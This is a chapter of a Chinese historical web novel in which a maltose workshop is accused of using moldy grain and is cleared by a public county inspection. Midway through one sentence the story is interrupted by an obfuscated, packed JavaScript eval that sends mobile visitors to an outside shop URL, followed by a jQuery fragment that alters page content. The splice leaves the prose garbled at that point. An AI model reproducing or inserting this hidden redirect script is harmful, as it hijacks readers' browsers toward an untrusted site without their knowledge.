宋小满抓起一把干粟，在掌心搓了搓：“十六文半。”
范掌柜道：“我报的可是十七文。”
“听见了。”
“你听见了还少半文？”
“十石就是五十文。”宋小满把粟倒回袋中，“以前我给你省五十文的时候，还夸我账算的细，这回倒是好意思说。”
范掌柜看着她，哼了一声：“你现在是给别人省钱！”
“所以您不高兴？”
“所以我要十七文。”
宋小满把刚刚抓起的干粟倒回麻袋，发出清脆的沙沙声，和廊下那些湿软的芽麦比，确实值这个钱。
柳三娘伸手捏了几粒：“十七文倒也不算太贵。”
宋小满没有接话，把手探进袋底又抓了一把：“样粮是样粮，二十石是二十石，开仓后每五袋抽验一袋，按照这一袋底标准验，若是受潮、掺陈粮，原袋退回。”
范掌柜眉头一跳：“你还真把封样那套直接用到我这里了？”
“您说契是我写，您要卖粮。”
“我没说价也由你定、验也你定。”
“那就慢慢谈。”宋小满把粮样推到一旁，“眼下西灶也没有新的定契，二十石干粟压进来，要三两四钱，粮放坏了，或者是后面粮价跌了，范掌柜可不会赔钱给我们。”
许知闲一直坐在旁边喝水，听到这里，又把刚想说的话全都咽了回去，二十石粟确实不算贵，但连下一位买主都没有，先把三两多银子给付出去，资金链很容易断裂，宋小满能算明白，倒也不用抢着开口了。
范掌柜正要再说什么，前院传来一阵吵嚷。
“柳三娘呢？！”
钱福来从铺门外挤进来，手里还捏着半块桃花糕，糕上的花酱被他按得流了出来，沾在指腹上，他也顾不上擦。
“你又来压价？掌柜”柳三娘道。
“我还有心思压价？”钱福来把桃花糕放到桌上，“今日一开门，便有人堵在福顺斋门外问，这糕是不是拿霉粮熬的饴做的，半条街都知道你从丰年粮行后院买了六十石湿麦。”
范掌柜脸色马上变了：“谁说是从丰年后院买的？”
“城里就这么大，八车湿粮过街，难道没人看见？”
院门外已经围了不少人，最前面站着个穿褐色长褂的中年男人，脸很瘦，看起来像是只猴子，手里头转着几颗麦粒。
柳三娘认得他：“卢掌柜，你不守着自己的隆兴饴铺，跑来问这里做什么？”
卢掌柜转着手里的麦粒，慢悠悠地说：“如今，客人问的是城南的饴铺是不是都拿霉粮熬糖，我不来问问清楚，难道替你背上这个骂名？”
“谁告诉你芽麦就是霉粮？”秦巧娘从西灶出来，手里还搭着一块湿滤布。
“平时催芽用的都是干净麦子，你们这批是下暴雨，受了潮、粮行不肯收的！”卢掌柜往廊下一指，提高声音说道：“听说还酸掉了一锅，你敢说没有？！”
院子里静了静，这确实是实话，确实是暴雨收的湿粮，也确实酸了一锅。
柳三娘没有答。
钱福来转过头看她：“真酸过一锅？”
“酸过一锅，我们倒掉了。”宋小满声音很稳，争取让门外的人都能听到。
“谁看见你们倒了？”
“我、秦师傅、韩师傅、两个灶的伙计全都看见了。”
卢掌柜冷笑：“那可都是春和的人，自然帮着你们。”
许知闲放下水碗，站了起来，院门外的人越挤越多，鞋底带进来的泥把门槛踩得发黑，有人手里就提着福顺斋的桃花糕，大家都在等一个说法。
账能算清那锅饴去了哪里，但自证起来，也不一定会有人信，唯一能证明清白的，只有官府。
许知闲挥了挥手，叫来伙计，让伙计速速去县衙一趟，请县令大人过来查证。
话刚说完。
街上传来几声让路，两名衙役先挤进院子，身后跟着县仓验粮的陈老吏，陆承安走在最后，手里拿着一张刚收到的报验帖。
许知闲看到他手里拿着的报验贴，眉头先皱了起来，事情更麻烦了。
陆承安进门后看了一眼她，径直就往西灶走：“灶火停了吗？”
柳三娘道：“大人，我们已经停了。”
“封灶。”
衙役取出一块写着县衙印记的木牌，横挂在西灶门前，围在门外的人立刻往里头看，低声议论比方才更响了。
许知闲走过去：“怎么问都不问，就先封？”
“灶若是继续开，存粮继续动，今日查出来的东西便没人肯信你。”陆承安瞥了一眼门口的人。
“你也觉得那些麦有问题？”
“我觉得没用。”
许知闲盯着他：“嗯，你公事公办吧。”
陆承安把报验贴放到桌上：“既然有人报了，现在便查，有两种查法，县衙关门验粮，只留掌柜的和师傅在场，查清后再贴结果。”
说完，他停了一会：“或者，现在敞开院门，当着买主、同行和街坊的面，把存粮、旧账、封样、废料全部拿出来，若是查出霉粮入锅，西灶停到所有存粮清完，照价退回已售货款。”
许知闲扯了扯嘴角：“若是没查出呢？验粮的钱谁出？”
“只验眼下的这批粮和已经封存的样饴，往后再坏，今日的结果护不了你们，县衙接报查验，自然不受你们的钱。”
许知闲笑笑，朝着衙役抬了抬手：“不出钱，这好办，那就当众验，门开得大点，别回头有人说没看清，你们县衙的人也给盯着，别有手脚不干净的人混进来坏我名声，砸我招牌。”
院门全部打开，陆承安点了几个衙役看着人群。
陈老吏先验范掌柜带来的干粟，又让人把廊下的芽麦分堆。
秦巧娘搬来三只竹匾直接并排摆在门前，一只只放白芽短、气味干净的麦，一只放发软泛黄的麦，最后一只只放了几粒长着青黑霉斑的麦。
“白芽的能用，发热发酸的不能用，长霉的更不能用，这些是我们现在所有剩下的芽麦。”
卢掌柜道：“你自己掌灶，自然说第一种能用。”
秦巧娘挑眉：“哦？你们隆兴饴铺不用麦芽？”
“我用的是自己催的净芽。”
“芽长在你家竹匾里就叫净芽，长在雨后的粮袋里就是霉粮？”秦巧娘捏开一粒白芽麦，露出里面尚且干净的麦心，抓了一小把给门外的人群，“大家看看，就是不知道隆兴饴铺敢不敢拿自己家的来，当着面和我们的一起验。”
门外许多人笑出了声，那一笑把白芽麦也被人纷纷传着看。
卢掌柜被大家笑得脸上挂不住：“现在验的是你们！”
“所以我把粮摆出来了。”秦巧娘把竹匾往前一推，顺便指了指正在传白芽麦的人群，“卢掌柜的粮呢？”
陈老吏走上前，捏过三种麦，又分别闻了闻：“催芽原本就是让麦生出白尖，第一匾的没有霉斑，也没有酸味，摸着不发热，可以做麦芽。第二匾已经闷坏，不得入食，不得酿造。第三匾更不用说了。”
陈老吏说完，又走到存粮边，叫伙计逐袋开口，院子里响起窸窸窣窣的开袋声，麦粒一袋袋倒进浅匾，许知闲站在旁边，只负责把开过的和没开过的袋子分到两边，这活不难，她仍差点被袋角绊了一跤，被宋小满一把子拽住袖子。
宋小满皱着眉头：“你站远点。”
“我能分袋。”许知闲逞强道。
“你等会给自己装袋里了，丢人。”宋小满抓着她的袖子，一脸嫌弃说道。
许知闲看了看她抓着自己袖子的手，到底还是往后退了一步。
靠墙挑出的三袋重新过秤，一共一石八斗，袋底的芽麦已经发软，陈老吏全部判作不可用。
柳三娘的嘴角抿得很紧，一石八斗，按十四文半一斗买来，六十二百六十一文，刚赚到的钱才分到手，这会又要亏掉一些。
陆承安问：“怎么处置？”
柳三娘停了片刻：“抬去后院的废料坑，拌草木灰，覆土，春和会自己算这笔损
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865194|212020||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
耗。”
两个伙计把三袋芽麦抬走，麻袋刚擦过门边时，一阵酸味飘了出来，围观的人都闻见了。
秦巧娘端起第一匾干净的芽麦：“那些我们是不会用的，不如闻一闻这边的。”
钱福来先伸手抓了一把，麦芽带着湿润的腥甜气，没有刚刚飘出来的那股酸味，他又掐开两粒，转身递给门外那个捏着桃花糕的妇人。
“你也看。”
妇人犹豫了一下，接了过去。
陈老吏验完存粮，宋小满把西灶的账搬到门前，每一炉用了多少粮、多少袋，出了多少饴，秦巧娘拿了多少掌勺钱，全都写在上面。第三炉后面明明白白写着“芽酸，废”，并且没有验赏，只有掌灶钱。
陈老吏看了一眼账本：“坏饴在哪？”
石头抢着回答：“后院的坑里！我和秦师傅一起抬去的！”
韩有成从东灶出来，瞪了他一眼：“人问你了？”
“我做了。”石头缩了缩脖子。
众人又一起去了后院，废浆已经渗进土里，坑边黏着一层黑黄糖壳，招来的蚂蚁沿着土拍成一条线。
钱福来把自己保管的样瓮带来了，宋小满也取出春和留下的那一瓮，春和的封泥没有动过，钱福来的样瓮验货的时候拆过，后面又封了回去，陈老吏逐一开封，饴色、气味相同，筷子挑起后都能拉出细线。
“已经卖出的三百斤，有买卖双方的封样，有净重，也有验货手印。”陆承安翻过两张契纸，“福顺斋收到货以后，有人吃出酸味？”
钱福来答道：“没有！”
“有没有因这批桃花糕来报腹痛的？”
“也没有。”
“那你今日来做什么？”
钱福来被问得一噎：“铺门外都在传，我总得问清楚，不然人家都不敢吃我的桃花糕。”
“现在清楚了吗？”
钱福来看了看手里那半块桃花糕，张口咬下一块，他嚼完，转身朝着门外喊道：“福顺斋的桃花糕照卖，谁还说吃出了酸味霉味，带着糕来找我，别带着一张嘴瞎传！”
方才一直提着桃花糕油纸的几个人低头打开油纸包，门前响起来一点细碎的说话声，已经不像最初那样全压着春和饴坊了。
卢掌柜还站在原处：“这次没掺，不等于以后不会掺。”
验完一圈，许知闲已经累了，依在宋小满身上懒懒得说道：“说得对，我们现在去验你家的，不定期验。”
卢掌柜一怔。
许知闲看他这样，冷冷一笑：“看来卢掌柜没有准备好？没关系，等你准备好了，我带着陆大人一起上门验。”
陆承安看了一眼懒洋洋的许知闲：“站好！”等许知闲调整了站姿，又看向卢掌柜，“所以今日只验今日的存粮和封样，不替春和做担保。”
陆承安让陈老吏把查验结果逐项写下：“从明日起，城中用受潮粮、芽粮做饴或者酿酒等铺子，需把粮主、数目、入朝日、分拣损耗和每炉出货记清，酸粮、霉粮另堆，不得混用，大宗出货，买卖双方各留一份封样，留到货钱结清。”
许知闲拍了拍胸脯：“就是就是，食品安全从春和做起！”
卢掌柜瞥了一眼许知闲，又看了看陆承安：“凭什么因为她们春和，连我们的铺子也要查？”
“你方才说，坏的是城南所有饴铺的名声。”陆承安停了一会，“既然如此，那便一起验。”
许知闲得意得看了卢掌柜一眼，宋小满拉了拉她的袖子，才稍稍收敛。
陈老吏在查验纸末尾写下：春和饴坊西灶，现存可用芽麦未见霉酸，一石八斗酸芽麦已经当众覆土，不得入食，已售出三百斤饴与双方封样相合。
陆承安盖了印，扭头递给了秦巧娘：“这批粮刚验过了，可以开灶，以后每一炉，掌火的人也要签名。”
秦巧娘接下纸笔，目光在掌火两个字上停了几息：“我签。”
衙役取下西灶门前的木牌，围观的人也渐渐散开，许知闲拿起桌上的报验帖看了一会：“谁报的？”